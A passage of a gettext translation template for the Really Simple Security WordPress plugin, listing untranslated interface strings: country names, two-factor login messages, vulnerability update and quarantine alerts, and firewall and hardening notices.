msgid "Guinea-Bissau"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:124
msgid "Guyana"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:125
msgid "Haiti"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:126
msgid "Heard Island and McDonald Islands"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:127
msgid "Holy See (Vatican City State)"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:128
msgid "Honduras"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:129
msgid "Hong Kong"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:130
msgid "Hungary"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:131
msgid "Iceland"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:132
msgid "India"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:133
msgid "Indonesia"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:134
msgid "Iran, Islamic Republic of"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:135
msgid "Iraq"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:136
msgid "Ireland"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:137
msgid "Isle of Man"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:138
msgid "Israel"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:139
msgid "Italy"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:140
msgid "Jamaica"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:141
msgid "Japan"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:142
msgid "Jersey"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:143
msgid "Jordan"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:144
msgid "Kazakhstan"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:145
msgid "Kenya"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:146
msgid "Kiribati"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:147
msgid "Korea, Democratic People's Republic of"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:148
msgid "Korea, Republic of"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:149
msgid "Kosovo"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:150
msgid "Kuwait"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:151
msgid "Kyrgyzstan"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:152
msgid "Lao People's Democratic Republic"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:153
msgid "Latvia"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:154
msgid "Lebanon"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:155
msgid "Lesotho"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:156
msgid "Liberia"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:157
msgid "Libyan Arab Jamahiriya"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:158
msgid "Liechtenstein"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:159
msgid "Lithuania"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:160
msgid "Luxembourg"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:161
msgid "Macao"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:162
msgid "Macedonia, the Former Yugoslav Republic of"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:163
msgid "Madagascar"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:164
msgid "Malawi"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:165
msgid "Malaysia"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:166
msgid "Maldives"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:167
msgid "Mali"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:168
msgid "Malta"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:169
msgid "Marshall Islands"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:170
msgid "Martinique"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:171
msgid "Mauritania"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:172
msgid "Mauritius"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:173
msgid "Mayotte"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:174
msgid "Mexico"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:175
msgid "Micronesia, Federated States of"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:176
msgid "Moldova, Republic of"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:177
msgid "Monaco"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:178
msgid "Mongolia"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:179
msgid "Montenegro"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:180
msgid "Montserrat"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:181
msgid "Morocco"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:182
msgid "Mozambique"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:183
msgid "Myanmar"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:184
msgid "Namibia"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:185
msgid "Nauru"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:186
msgid "Nepal"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:187
msgid "Netherlands"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:188
msgid "Netherlands Antilles"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:189
msgid "New Caledonia"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:190
msgid "New Zealand"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:191
msgid "Nicaragua"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:192
msgid "Niger"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:193
msgid "Nigeria"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:194
msgid "Niue"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:195
msgid "Norfolk Island"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:196
msgid "Northern Mariana Islands"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:197
msgid "Norway"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:198
msgid "Oman"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:199
msgid "Pakistan"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:200
msgid "Palau"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:201
msgid "Palestinian Territory, Occupied"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:202
msgid "Panama"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:203
msgid "Papua New Guinea"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:204
msgid "Paraguay"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:205
msgid "Peru"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:206
msgid "Philippines"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:207
msgid "Pitcairn"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:208
msgid "Poland"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:209
msgid "Portugal"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:210
msgid "Puerto Rico"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:211
msgid "Qatar"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:212
msgid "Reunion"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:213
msgid "Romania"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:214
msgid "Russian Federation"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:215
msgid "Rwanda"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:216
msgid "Saint Barthelemy"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:217
msgid "Saint Helena"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:218
msgid "Saint Kitts and Nevis"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:219
msgid "Saint Lucia"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:220
msgid "Saint Martin"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:221
msgid "Saint Pierre and Miquelon"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:222
msgid "Saint Vincent and the Grenadines"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:223
msgid "Samoa"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:224
msgid "San Marino"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:225
msgid "Sao Tome and Principe"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:226
msgid "Saudi Arabia"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:227
msgid "Senegal"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:228
msgid "Serbia"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:229
msgid "Serbia and Montenegro"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:230
msgid "Seychelles"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:231
msgid "Sierra Leone"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:232
msgid "Singapore"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:233
msgid "St Martin"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:234
msgid "Slovakia"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:235
msgid "Slovenia"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:236
msgid "Solomon Islands"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:237
msgid "Somalia"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:238
msgid "South Africa"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:239
msgid "South Georgia and the South Sandwich Islands"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:240
msgid "South Sudan"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:241
msgid "Spain"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:242
msgid "Sri Lanka"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:243
msgid "Sudan"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:244
msgid "Suriname"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:245
msgid "Svalbard and Jan Mayen"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:246
msgid "Swaziland"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:247
msgid "Sweden"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:248
msgid "Switzerland"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:249
msgid "Syrian Arab Republic"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:250
msgid "Taiwan, Province of China"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:251
msgid "Tajikistan"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:252
msgid "Tanzania, United Republic of"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:253
msgid "Thailand"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:254
msgid "Timor-Leste"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:255
msgid "Togo"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:256
msgid "Tokelau"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:257
msgid "Tonga"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:258
msgid "Trinidad and Tobago"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:259
msgid "Tunisia"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:260
msgid "Turkey"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:261
msgid "Turkmenistan"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:262
msgid "Turks and Caicos Islands"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:263
msgid "Tuvalu"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:264
msgid "Uganda"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:265
msgid "Ukraine"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:266
msgid "United Arab Emirates"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:267
msgid "United Kingdom"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:268
msgid "United States"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:269
msgid "United States Minor Outlying Islands"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:270
msgid "Uruguay"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:271
msgid "Uzbekistan"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:272
msgid "Vanuatu"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:273
msgid "Venezuela"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:274
msgid "Viet Nam"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:275
msgid "Virgin Islands, British"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:276
msgid "Virgin Islands, U.s."
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:277
msgid "Wallis and Futuna"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:278
msgid "Western Sahara"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:279
msgid "Yemen"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:280
msgid "Zambia"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:281
msgid "Zimbabwe"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:292
msgid "Africa"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:294
msgid "Asia"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:295
msgid "Europe"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:296
msgid "North America"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:297
msgid "Oceania"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:298
msgid "South America"
msgstr ""

#: pro/security/wordpress/two_fa/class-rsssl-two-factor.php:565
#: pro/security/wordpress/two_fa/class-rsssl-two-factor.php:596
#: security/wordpress/two-fa/class-rsssl-two-factor.php:700
#: security/wordpress/two-fa/class-rsssl-two-factor.php:1695
msgid "Your 2FA grace period expired. Please contact your site administrator to regain access and to configure 2FA."
msgstr ""

#: pro/security/wordpress/two_fa/class-rsssl-two-factor.php:643
#: security/wordpress/two-fa/class-rsssl-two-factor.php:774
msgid "API login for user disabled."
msgstr ""

#: pro/security/wordpress/two_fa/class-rsssl-two-factor.php:718
#: pro/security/wordpress/two_fa/class-rsssl-two-factor.php:1035
#: pro/security/wordpress/two_fa/class-rsssl-two-factor.php:1073
#: pro/security/wordpress/two_fa/class-rsssl-two-factor.php:1118
#: pro/security/wordpress/two_fa/class-rsssl-two-factor.php:1277
#: pro/security/wordpress/two_fa/class-rsssl-two-factor.php:1318
#: pro/security/wordpress/two_fa/class-rsssl-two-factor.php:1371
#: security/wordpress/two-fa/class-rsssl-two-factor.php:853
#: security/wordpress/two-fa/class-rsssl-two-factor.php:1177
#: security/wordpress/two-fa/class-rsssl-two-factor.php:1215
#: security/wordpress/two-fa/class-rsssl-two-factor.php:1260
#: security/wordpress/two-fa/class-rsssl-two-factor.php:1420
#: security/wordpress/two-fa/class-rsssl-two-factor.php:1461
#: security/wordpress/two-fa/class-rsssl-two-factor.php:1515
msgid "Failed to create a login nonce."
msgstr ""

#: pro/security/wordpress/two_fa/class-rsssl-two-factor.php:745
#: security/wordpress/two-fa/class-rsssl-two-factor.php:881
msgid "Warning: There has been %1$s failed login attempt on your account without providing a valid two-factor token. The last failed login occurred %2$s ago. If this wasn't you, you should reset your password."
msgid_plural "Warning: %1$s failed login attempts have been detected on your account without providing a valid two-factor token. The last failed login occurred %2$s ago. If this wasn't you, you should reset your password."
msgstr[0] ""
msgstr[1] ""

#. translators: %s: URL to reset password
#: pro/security/wordpress/two_fa/class-rsssl-two-factor.php:800
#: security/wordpress/two-fa/class-rsssl-two-factor.php:936
msgid "Your password was reset because of too many failed Two Factor attempts. You will need to <a href=\"%s\">create a new password</a> to regain access. Please check your email for more information."
msgstr ""

#: pro/security/wordpress/two_fa/class-rsssl-two-factor.php:1002
#: pro/security/wordpress/two_fa/class-rsssl-two-factor.php:1238
#: security/wordpress/two-fa/class-rsssl-two-factor.php:1144
#: security/wordpress/two-fa/class-rsssl-two-factor.php:1381
msgid "Cheatin&#8217; uh?"
msgstr ""

#: pro/security/wordpress/two_fa/class-rsssl-two-factor.php:1014
#: pro/security/wordpress/two_fa/class-rsssl-two-factor.php:1127
#: security/wordpress/two-fa/class-rsssl-two-factor.php:1156
#: security/wordpress/two-fa/class-rsssl-two-factor.php:1269
msgid "Your verification code expired, click “Resend Code” to receive a new verification code."
msgstr ""

#. translators: %s: time delay between login attempts
#: pro/security/wordpress/two_fa/class-rsssl-two-factor.php:1058
#: pro/security/wordpress/two_fa/class-rsssl-two-factor.php:1262
#: security/wordpress/two-fa/class-rsssl-two-factor.php:1200
#: security/wordpress/two-fa/class-rsssl-two-factor.php:1405
msgid "Too many invalid verification codes, you can try again in %s. This limit protects your account against automated attacks."
msgstr ""

#: pro/security/wordpress/two_fa/class-rsssl-two-factor.php:1094
#: pro/security/wordpress/two_fa/class-rsssl-two-factor.php:1140
#: pro/security/wordpress/two_fa/class-rsssl-two-factor.php:1297
#: pro/security/wordpress/two_fa/class-rsssl-two-factor.php:1324
#: security/wordpress/two-fa/class-rsssl-two-factor.php:1236
#: security/wordpress/two-fa/class-rsssl-two-factor.php:1282
#: security/wordpress/two-fa/class-rsssl-two-factor.php:1440
#: security/wordpress/two-fa/class-rsssl-two-factor.php:1467
msgid "Invalid verification code."
msgstr ""

#: pro/security/wordpress/two_fa/class-rsssl-two-factor.php:1174
#: security/wordpress/two-fa/class-rsssl-two-factor.php:1316
msgid "You have logged in successfully."
msgstr ""

#: pro/security/wordpress/two_fa/class-rsssl-two-factor.php:1246
#: security/wordpress/two-fa/class-rsssl-two-factor.php:1389
msgid "Authentication provider not specified."
msgstr ""

#: pro/security/wordpress/two_fa/class-rsssl-two-factor.php:1334
#: security/wordpress/two-fa/class-rsssl-two-factor.php:1477
msgid "Invalid two-factor authentication provider."
msgstr ""

#: pro/security/wordpress/two_fa/class-rsssl-two-factor.php:1493
#: security/wordpress/two-fa/class-rsssl-two-factor.php:1643
msgid "There have been too many failed two-factor authentication attempts, which often indicates that the password has been compromised. The password has been reset in order to protect the account."
msgstr ""

#: pro/security/wordpress/two_fa/class-rsssl-two-factor.php:1497
#: security/wordpress/two-fa/class-rsssl-two-factor.php:1647
msgid "If you are the owner of this account, please check your email for instructions on regaining access."
msgstr ""

#: pro/security/wordpress/two_fa/class-rsssl-two-factor.php:1504
#: security/wordpress/two-fa/class-rsssl-two-factor.php:1654
msgid "Password Reset"
msgstr ""

#: pro/security/wordpress/vulnerabilities-pro.php:427
#: pro/security/wordpress/vulnerabilities-pro.php:478
msgid "Upgrading..."
msgstr ""

#: pro/security/wordpress/vulnerabilities-pro.php:596
#: pro/security/wordpress/vulnerabilities-pro.php:625
#: pro/security/wordpress/vulnerabilities-pro.php:655
#: pro/security/wordpress/vulnerabilities-pro.php:684
msgid "Update Alert: %s"
msgstr ""

#: pro/security/wordpress/vulnerabilities-pro.php:597
msgid "%s, Force Update: Scheduled."
msgstr ""

#: pro/security/wordpress/vulnerabilities-pro.php:599
msgid "An automatic update for %s has been scheduled due to the discovery of a vulnerability on %s"
msgstr ""

#: pro/security/wordpress/vulnerabilities-pro.php:601
msgid "Several automatic updates for components have been scheduled due to the discovery of vulnerabilities on %s."
msgstr ""

#: pro/security/wordpress/vulnerabilities-pro.php:606
msgid "Force Update: %s hours"
msgstr ""

#: pro/security/wordpress/vulnerabilities-pro.php:607
#: pro/security/wordpress/vulnerabilities-pro.php:637
msgid "We will initiate %s automatic update cycles, in the next %s hours, to mitigate available vulnerabilities."
msgstr ""

#: pro/security/wordpress/vulnerabilities-pro.php:608
#: pro/security/wordpress/vulnerabilities-pro.php:638
#: pro/security/wordpress/vulnerabilities-pro.php:666
#: pro/security/wordpress/vulnerabilities-pro.php:698
#: pro/security/wordpress/vulnerabilities-pro.php:728
#: pro/security/wordpress/vulnerabilities-pro.php:759
msgid "Please double-check if your website is working as expected."
msgstr ""

#: pro/security/wordpress/vulnerabilities-pro.php:626
msgid "%s, Force Update: Failed"
msgstr ""

#: pro/security/wordpress/vulnerabilities-pro.php:628
#: pro/security/wordpress/vulnerabilities-pro.php:687
msgid "An automatic update for %s failed on %s."
msgstr ""

#: pro/security/wordpress/vulnerabilities-pro.php:630
#: pro/security/wordpress/vulnerabilities-pro.php:690
msgid "Several automatic updates for vulnerable components, scheduled on %s, have failed."
msgstr ""

#: pro/security/wordpress/vulnerabilities-pro.php:636
msgid "Force Update: failed"
msgstr ""

#: pro/security/wordpress/vulnerabilities-pro.php:656
msgid "%s, Force Update: Successful"
msgstr ""

#: pro/security/wordpress/vulnerabilities-pro.php:658
msgid "An automatic update for %s has been successful on %s."
msgstr ""

#: pro/security/wordpress/vulnerabilities-pro.php:660
msgid "Several automatic updates for vulnerable components, scheduled on %s, have been successful."
msgstr ""

#: pro/security/wordpress/vulnerabilities-pro.php:665
#: pro/security/wordpress/vulnerabilities-pro.php:697
#: pro/security/wordpress/vulnerabilities-pro.php:758
msgid "Verify your website"
msgstr ""

#: pro/security/wordpress/vulnerabilities-pro.php:685
msgid "%s, Force Update: End Process"
msgstr ""

#: pro/security/wordpress/vulnerabilities-pro.php:688
msgid "This is the end of the update cycle, we recommend manually removing %s."
msgstr ""

#: pro/security/wordpress/vulnerabilities-pro.php:691
msgid "This is the end of the update cycle, we recommend manually removing vulnerable components."
msgstr ""

#: pro/security/wordpress/vulnerabilities-pro.php:694
msgid "You can also use our ‘Quarantine’ option to automate this process in the future."
msgstr ""

#: pro/security/wordpress/vulnerabilities-pro.php:715
#: pro/security/wordpress/vulnerabilities-pro.php:748
msgid "Quarantine Alert: %s"
msgstr ""

#: pro/security/wordpress/vulnerabilities-pro.php:716
msgid "%s, Quarantine: Scheduled"
msgstr ""

#: pro/security/wordpress/vulnerabilities-pro.php:718
msgid "A quarantine for %s scheduled on %s."
msgstr ""

#: pro/security/wordpress/vulnerabilities-pro.php:720
msgid "Several vulnerable components scheduled for update on %s, have failed."
msgstr ""

#: pro/security/wordpress/vulnerabilities-pro.php:726
msgid "Quarantine in %s hours"
msgstr ""

#: pro/security/wordpress/vulnerabilities-pro.php:727
msgid "We will initiate a quarantine cycle in the next %s hours to mitigate available vulnerabilities."
msgstr ""

#: pro/security/wordpress/vulnerabilities-pro.php:749
msgid "%s, Quarantine: Successful"
msgstr ""

#: pro/security/wordpress/vulnerabilities-pro.php:751
msgid "A quarantine for %s has been successful on %s."
msgstr ""

#: pro/security/wordpress/vulnerabilities-pro.php:753
msgid "Several vulnerable components quarantined on %s."
msgstr ""

#: pro/settings/sync-settings.php:83
#: pro/settings/sync-settings.php:90
msgid "Login URL already changed by something else than Really Simple Security"
msgstr ""

#: progress/class-progress.php:83
msgid "Security configuration not completed yet. You still have %s task open."
msgid_plural "You still have %s tasks open."
msgstr[0] ""
msgstr[1] ""

#: progress/class-progress.php:86
msgid "Security configuration completed!"
msgstr ""

#: progress/class-progress.php:90
msgid "Basic security configuration completed!"
msgstr ""

#: progress/class-progress.php:93
msgid "SSL is not yet enabled on this site."
msgstr ""

#: security/firewall-manager.php:604
msgid "A firewall rule was enabled, but the wp-config.php is not writable."
msgstr ""

#: security/firewall-manager.php:604
msgid "Please set the wp-config.php to writable until the rule has been written."
msgstr ""

#: security/firewall-manager.php:610
msgid "A firewall rule was enabled, but /the wp-content/ folder is not writable."
msgstr ""

#: security/firewall-manager.php:610
msgid "Please set the wp-content folder to writable:"
msgstr ""

#: security/firewall-manager.php:626
msgid "A firewall rule was enabled, but the firewall does not seem to get loaded correctly."
msgstr ""

#: security/firewall-manager.php:626
msgid "Please check if the advanced-headers.php file is included in the wp-config.php, and exists in the wp-content folder."
msgstr ""

#: security/hardening.php:18
#: security/wordpress/vulnerabilities.php:64
msgid "low-risk"
msgstr ""

#: security/hardening.php:19
#: security/wordpress/vulnerabilities.php:65
msgid "medium-risk"
msgstr ""

#: security/hardening.php:20
#: security/wordpress/vulnerabilities.php:66
msgid "high-risk"
msgstr ""

#: security/hardening.php:21
#: security/wordpress/vulnerabilities.php:67
msgid "critical"
msgstr ""

#: security/notices.php:32
msgid ".htaccess not writable"
msgstr ""

#: security/notices.php:33
msgid "An option that requires the .htaccess file is enabled, but the file is not writable."
msgstr ""

#: security/notices.php:33
#: security/notices.php:41
#: security/notices.php:60
msgid "Please add the following lines to your .htaccess, or set it to writable:"
msgstr ""

#: security/notices.php:40
msgid ".htaccess does not exist"
msgstr ""

#: security/notices.php:41
msgid "An option that requires the .htaccess file is enabled, but the file does not exist."
msgstr ""

#: security/notices.php:59
msgid ".htaccess in uploads not writable"
msgstr ""

#: security/notices.php:60
msgid "An option that requires the .htaccess file in the uploads directory is enabled, but the file is not writable."
msgstr ""

#: security/notices.php:79
msgid "We have detected administrator roles where the login and display names are the same."
msgstr ""

#: security/notices.php:93
#: settings/config/fields/limit-login-attempts.php:136
#: settings/config/fields/two-fa.php:134
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/LimitLoginAttempts/AddUserModal.js:60
msgid "Username"
msgstr ""

#: security/notices.php:94
msgid "Rename admin user enabled: Please choose a new username of at least 3 characters, which is not in use yet."
msgstr ""

#: security/notices.php:110
msgid "Enable the Vulnerability scan to detect possible vulnerabilities."
msgstr ""

#: security/notices.php:117
msgid "Vulnerability scanning is enabled."
msgstr ""

#: security/notices.php:130
msgid "You have %s open hardening feature."
msgid_plural "You have %s open hardening features."
msgstr[0] ""
msgstr[1] ""

#: security/notices.php:142
msgid "All recommended hardening features enabled."
msgstr ""

#: security/notices.php:153
msgid "The Firewall, LLA and 2FA are currently inactive, as you have activated Safe Mode with the rsssl-safe-mode.lock file. Remove the file from your /wp-content folder after you have finished debugging."
msgstr ""

#: security/sync-settings.php:34
msgid "Debug.log"
msgstr ""

#: security/sync-settings.php:35
msgid "Changed debug.log location to:"
msgstr ""

#: security/wordpress/block-code-execution-uploads.php:14
msgid "Could not find code execution test file."
msgstr ""

#: security/wordpress/block-code-execution-uploads.php:19
msgid "Uploads folder not writable."
msgstr ""

#: security/wordpress/block-code-execution-uploads.php:24
msgid "Could not copy code execution test file."
msgstr ""

#: security/wordpress/block-code-execution-uploads.php:37
msgid "The code to block code execution in the uploads folder cannot be added automatically on nginx. Add the following code to your nginx.conf file:"
msgstr ""

#: security/wordpress/class-rsssl-simple-404-interceptor.php:103
msgid "We detected suspected bots triggering large numbers of 404 errors on your site."
msgstr ""

#: security/wordpress/file-editing.php:28
msgid "The DISALLOW_FILE_EDIT constant is defined and set to false. You can remove it from your wp-config.php."
msgstr ""

#: security/wordpress/prevent-login-info-leakage.php:9
msgid "Invalid login details."
msgstr ""

#: security/wordpress/rename-admin-user.php:15
msgid "Username 'admin' has been changed to %s"
msgstr ""

#: security/wordpress/two-fa/class-rsssl-parameter-validation.php:38
msgid "The user ID is not valid."
msgstr ""

#: security/wordpress/two-fa/class-rsssl-parameter-validation.php:57
msgid "The preferred method is not set."
msgstr ""

#: security/wordpress/two-fa/class-rsssl-parameter-validation.php:76
msgid "The user object is not valid."
msgstr ""

#: security/wordpress/two-fa/class-rsssl-parameter-validation.php:95
msgid "The selected provider is not valid."
msgstr ""

#: security/wordpress/two-fa/class-rsssl-parameter-validation.php:114
msgid "The authentication code is not valid."
msgstr ""

#: security/wordpress/two-fa/class-rsssl-parameter-validation.php:133
msgid "The key is not valid."
msgstr ""

#. translators: %s: URL for code regeneration
#: security/wordpress/two-fa/class-rsssl-two-factor-backup-codes.php:121
msgid "Two-Factor: You are out of backup codes and need to <a href=\"%s\">regenerate!</a>"
msgstr ""

#: security/wordpress/two-fa/class-rsssl-two-factor-backup-codes.php:139
msgctxt "Provider Label"
